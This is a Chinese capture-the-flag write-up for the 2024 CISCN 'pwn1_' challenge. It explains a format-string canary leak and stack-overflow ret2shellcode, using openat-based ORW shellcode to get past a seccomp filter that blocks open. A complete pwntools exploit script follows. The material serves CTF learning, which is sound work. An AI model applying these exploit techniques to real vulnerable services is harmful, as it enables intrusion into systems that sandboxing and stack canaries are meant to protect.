【PWN · ret2shellcode | sandbox-bypass | 格式化字符串】[2024CISCN · 华东北赛区]pwn1_

news2025/2/23 18:02:20

一道栈+ret2shellcode+sandbox(seccomp)+格式化字符串的题目


前言

ret2shellcode,已经不是简单的放到栈上、ret这样一个简单的过程。套一层seccomp的沙箱,打ORW又遇到open受限等等,考虑的蛮多。过程中收获最多的可以说是汇编shellcode手动编写时的一些心得,还是跟着返璞归真师傅的wp复现,再次感谢!


一、题目分析

没有给libc,栈可执行、存在Canary

开启了沙箱,禁用了open函数

IDA分析,可以明显看到栈溢出、格式化字符串,且均可以反复触发

 格式化字符串显然是用来泄露绕过canary的,栈溢出+NX没开又显然是用来ret2shellcode的

二、解题

先写个交互函数方便交互

def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')

1.格式化字符串泄露Canary 

常规套路了,其实不必在此赘述

offset=8

然后脚本挂动态调试,看canary(泄露canary)、rbp(实质上是获取buf的地址,准备布局shellcode)是第几个参数的位置。

offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

 2.ret2shellcode

2.1 openat代替open

        由于开了沙箱,系统调用受限,orw的打法无疑,但是open被禁需要替换。查阅资料后发现openat可以一定程度上等价于open:

#open - flags
/*
O_ACCMODE       00000003
O_RDONLY        00000000
O_WRONLY        00000001
O_RDWR          00000002
O_CREAT         00000040
O_EXCL          00000080
O_NOCTTY        00000100
O_TRUNC         00000200
O_APPEND        00000400
O_NONBLOCK      00000800
O_DSYNC         00001000
FASYNC          00002000
O_NOFOLLOW      00020000
*/

 2.2 shellcode的布局 

之前已经知道能直接布局shellcode利用的buf空间为0x48,直接写长度大大超过

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

所以得想办法跨过canary、rbp、ret,构造shellcode

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))

 比较妙的几个点是

  1. 通过 mov register,addr;push register;ret的方式实现了定向跳转
  2. 将flag远远写到后面的栈空间,避免对shellcode干扰

三、完整exp

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./pwn1_')
gdb.attach(io);input()
def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')
    
offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))


setName(shellcode)
input('check')
getName(False)
io.interactive()


总结

做的时候这不会那不会,做完之后写博客,感觉很多都没必要写。。。菜就多练。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1902371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Codeforces Round 903 (Div. 3)A~F

A.Dont Try to Count 输入样例: 12 1 5 a aaaaa 5 5 eforc force 2 5 ab ababa 3 5 aba ababa 4 3 babb bbb 5 1 aaaaa a 4 2 aabb ba 2 8 bk kbkbkbkb 12 2 fjdgmujlcont tf 2 2 aa aa 3 5 abb babba 1 19 m mmmmmmmmmmmmmmmmmmm输出样例: 3 1 2 -1 1 0…

密码学及其应用 —— 密码学的经典问题

1. 古典密码学问题 1.1 问题1:破解凯撒密码 1.1.1 问题 凯撒密码是最简单的单字母替换加密方案。这是一种通过将字母表中的字母固定向右移动几位来实现的加密方法。解密下面的文本,该文本通过对一个去除了空格的法语文本应用凯撒密码获得: …

IDEA越用越卡?教你轻松解决IDEA内存占用过高问题

大家好,我是瑶山,最近IDEA越用越卡了,刚刚内存卡爆,带着整个电脑也卡的飞起,只能重启了电脑。 虽然重启后又恢复到了流畅,但是问题还是如鲠在喉,痛定思痛,还是决定处理下&#xff01…

Debezium报错处理系列之第110篇: ERROR Error during binlog processing.Access denied

Debezium报错处理系列之第110篇:ERROR Error during binlog processing. Last offset stored = null, binlog reader near position = /4 Access denied; you need at least one of the REPLICATION SLAVE privilege for this operation 一、完整报错二、错误原因三、解决方法…

JVM原理(十七):JVM虚拟机即时编译器详解

编译器无论在何时、在何种状态下把Class文件转换成与本地基础设施相关的二进制机器码,他都可以视为整个编译过程的后端。 后端编译器编译性能的好坏、代码优化质量的高低却是衡量一款商用虛拟机优秀与否的关键指标之一。 1. 即时编译器 即时编译器是一个把Java的…

Linux安装达梦

文章目录 前言一、docker安装1.下载镜像2.导入镜像3.生成容器 二、ios安装1.环境准备2.iso安装3.配置实例4.注册服务5.启停服务 总结 前言 公司要求我将数据从oracle迁移到达梦数据库,这个国产数据库以前没用过,所以记录一下这次的安装过程。 一、docke…

基于PHP技术的在线校园美食攻略程序设计与实现

基于PHP技术的在线校园美食攻略程序设计与实现 摘 要 网络技术正在以空前持续的速度在改变着我们的生活。利用互联网技术,人们对网上食物共享越来越关注。基于此,本文利用 PHP技术,对网上大学饮食指南应用软件进行了研究。 整个系统的设计&a…

硕士文凭再耀眼,也没有第一学历刺眼?

在当今社会,教育被视为个人发展和社会进步的重要基石。随着高等教育的普及和竞争的加剧,学历成为了衡量个人能力、决定职业前景的重要标尺。然而,在这一过程中,“第一学历”的概念逐渐凸显,其影响力甚至在某些情况下超越了后续的硕士、博士等更高学历。这一现象引发了广泛…

14-31 剑和诗人5 - 使用 AirLLM 和分层推理在单个 4GB GPU 上运行 LLama 3 70B

利用分层推理实现大模型语言(LLM) 大型语言模型 (LLM) 领域最近取得了显著进展,LLaMa 3 70B 等模型突破了之前认为可能实现的极限。然而,这些模型的庞大规模给其部署和实际使用带来了巨大挑战,尤其是在资源受限的设备上,例如内存…

大模型的实践应用25-LLama3模型模型的架构原理,以及手把手教你搭建LLama3模型

大家好,我是微学AI,今天给大家介绍一下大模型的实践应用25-LLama3模型模型的架构原理,以及手把手教你搭建LLama3模型。LLaMA 3 是Meta公司开发的最新一代大规模语言模型,其架构在很大程度上继承了LLaMA 2的设计,但对某些关键组件进行了改进和优化。 文章目录 一、LLama3模…

设计模式之单例模式(Java)

单例模式实现方式:懒汉式、饿汉式、双重检查、枚举、静态内部类; 懒汉式: /*** 懒汉式单例模式* author: 小手WA凉* create: 2024-07-06*/ public class LazySingleton implements Serializable {private static LazySingleton lazySinglet…

新手学Cocos报错 [Assets] Failed to open

两个都在偏好设置里面调(文件下面的偏好设置): 1.设置中文? 2.报错 [Assets] Failed to open? 这样在点击打开ts文件的时候就不会报错,并且用vscode编辑器打开了, 同样也可以改成你们自己喜欢…

2、图形验证码

1、图形验证码设计 1.1思路 现今,市面上的图形验证码付费的,免费的多种多样,主要形式有滑动拼图、文字点选、语序点选、字体识别、空间推理、智能随机等。 而处理也分为web端和sever端两部分 此处以免费的kaptcha 为例,进行数字图…

分支与循环(二)

目录 1.switch语句 1)switch语法形式 2)if语句和switch语句的对比 3) switch语句中的break 4) switch语句中的default 5) switch语句中的case和default的顺序问题 2.while循环 1) if 和 while的对比 2) while语句的执行流程​编辑 3)while循环的…

linux 基础命令、gcc的基础用法

1、ls——>列出目录下的内容 语法:ls [-a -l -h] [Linux路径] (1)-a -l -h 是可选的选项 (2)Linux路径是此命令的可选参数 ①当不使用选项和参数,直接使用 ls 命令本体,表示:…

图论·Day01

P3371 P4779 P3371 【模板】单源最短路径(弱化版) 注意的点: 边有重复,选择最小边!对于SPFA算法容易出现重大BUG,没有负权值的边时不要使用!!! 70分代码 朴素板dijsk…

【Web】

1、配仓库 [rootlocalhost yum.repos.d]# vi rpm.repo ##本地仓库标准写法 [baseos] namemiaoshubaseos baseurl/mnt/BaseOS gpgcheck0 [appstream] namemiaoshuappstream baseurlfile:///mnt/AppStream gpgcheck0 2、挂载 [rootlocalhost ~]mount /dev/sr0 /mnt mount: /m…

类与对像(1)

好几个月没有写了,差了好多,这些天补回来吧。 接下来,让我们正式步入C与C语言开始不同的地方。 我对类的理解:类是对于具有相同或相似属性的数据集合。 类的关键词:class,public,protected&a…

vue3中pinia使用持久化管理

安装插件 npm install pinia pinia-plugin-persistpinia进行注册 创建index.ts import { createPinia } from pinia; //对外暴露大仓库 export default createPinia(); 在mian.ts //引入pinpa import { createApp } from vue //引入根组件 import App from ./App.vue const…

昇思MindSpore学习入门-评价指标

当训练任务结束,常常需要评价函数(Metrics)来评估模型的好坏。不同的训练任务往往需要不同的Metrics函数。例如,对于二分类问题,常用的评价指标有precision(准确率)、recall(召回率&…